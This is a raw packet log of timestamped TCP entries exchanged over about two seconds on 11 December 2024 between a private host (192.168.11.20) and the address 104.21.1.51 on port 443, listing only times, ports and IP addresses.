Dec 11, 2024 12:59:50.244240999 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.244314909 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:50.244326115 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.244477987 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:50.244620085 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.244781971 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:50.244788885 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.296221018 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:50.471316099 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.471646070 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.471710920 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.471859932 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:50.471887112 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.472120047 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:50.472137928 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.472243071 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.472429991 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:50.472439051 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.472570896 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:50.472656012 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.472815990 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.472974062 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:50.472981930 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.473243952 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:50.707755089 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.708200932 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.708283901 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.708373070 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:50.708410025 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.708589077 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:50.708601952 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.708688974 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.708877087 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.708899021 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:50.708910942 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.709044933 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:50.709076881 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.709212065 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.709355116 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:50.709371090 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.709578037 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:50.709857941 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.710010052 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.710232019 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:50.710247993 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.710618019 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.710792065 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:50.710812092 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.710943937 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:50.931083918 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.931406021 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.931408882 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:50.931454897 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.931564093 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:50.931684017 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:50.932117939 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.932352066 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:50.932914019 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.933068037 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:50.933101892 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.933131933 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:50.933151960 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.933365107 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:50.933835030 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.934015989 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:50.934016943 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:50.934232950 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:50.934425116 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.164467096 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.164531946 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.164659977 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.164659977 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.164668083 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.164814949 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.165016890 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.165179968 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.165848970 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.165890932 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.165973902 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.165973902 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.165980101 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.166129112 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.166786909 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.166923046 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.166923046 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.167562962 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.167752981 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.167778015 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.167783022 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.167924881 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.167924881 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.168217897 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.168392897 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.391237020 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.391392946 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.391572952 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.391671896 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.391786098 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.392216921 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.392394066 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.392710924 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.392863989 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.392913103 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.393330097 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.393434048 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.393466949 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.393636942 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.393640041 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.393788099 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.394169092 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.394375086 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.395203114 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.395359039 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.395415068 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.395471096 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.395631075 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.395936012 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.395951033 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.396039963 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.396044016 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.396199942 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.396199942 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.625535965 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.625624895 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.625674009 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.625698090 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.625843048 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.626358032 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.626566887 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.626887083 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.627038956 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.627054930 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.627194881 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.627242088 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.627528906 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.627753973 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.627883911 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.627929926 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.628530979 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.628675938 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.628772974 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.628962994 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.628973961 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.629142046 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.629415989 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.629548073 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.630220890 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.630506039 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.630520105 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.630582094 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.630678892 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.630686045 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.630796909 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.631067038 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.631195068 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.631206989 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.631341934 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.632688046 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.632698059 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.632846117 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.632860899 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.632894039 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.632894993 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.632906914 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.633044958 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.857008934 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.857018948 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.857114077 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.857152939 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.857152939 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.857175112 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.857249022 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.857256889 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.857299089 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.857299089 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.857395887 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.859169006 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.859203100 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.859325886 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.859327078 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.859344006 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.859374046 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.859422922 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.859519005 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.861557007 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.861584902 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.861819029 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.861819029 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.861916065 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.861923933 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.861968040 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.861968040 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.862251043 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.863305092 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.863333941 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.863460064 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.863506079 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.863506079 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.863516092 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.863558054 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.863651991 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.865724087 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.865755081 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.865863085 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.865863085 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.865962982 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.865963936 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.865972996 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:51.866060972 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:51.866151094 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.083110094 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.083132029 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.083194017 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.083394051 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.083394051 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.083394051 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.083401918 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.083576918 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.083576918 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.083622932 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.085300922 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.085309982 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.085444927 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.085494041 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.085494041 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.085498095 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.085542917 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.085542917 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.085746050 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.087717056 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.087726116 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.087781906 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.087853909 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.087934017 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.087934017 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.087939024 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.088031054 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.089669943 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.089679956 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.089826107 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.089826107 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.089831114 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.089926958 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.089926958 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.089976072 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.092166901 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.092175007 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.092335939 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.092385054 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.092385054 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.092389107 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.092437029 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.092485905 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.094064951 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.094075918 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.094270945 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.094270945 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.094270945 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.094270945 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.094270945 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.094279051 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.094340086 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.094733000 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.094897985 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.094897985 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.094902992 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.095082045 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.318475008 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.318489075 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.318665028 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.318665028 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.318680048 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.318680048 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.318685055 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.318731070 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.318854094 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.320625067 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.320635080 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.320794106 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.320794106 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.320811033 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.320816040 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.320894957 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.320957899 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.323076963 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.323086977 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.323286057 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.323332071 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.323332071 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.323338985 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.323379993 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.323474884 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.324733019 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.324795008 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.324873924 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.324944973 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.324944973 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.324951887 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.325028896 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.326553106 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.326564074 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.326718092 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.326730013 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.326771021 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.326771021 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.326771021 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.326814890 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.326889038 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.328881979 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.328891993 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.329018116 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.329149961 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.329154968 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.330771923 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.330785990 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.330924034 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.330931902 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.330975056 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.330975056 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.331033945 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.331048965 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.331098080 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.333210945 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.333221912 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.333370924 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.333370924 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.333400965 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.333482981 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.333492994 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.333492994 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.333498001 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.333632946 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.373900890 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.542584896 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.542594910 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.542745113 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.543103933 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.543108940 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:52.543445110 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:52.544661999 CET	443	49763	104.21.1.51	192.168.11.20
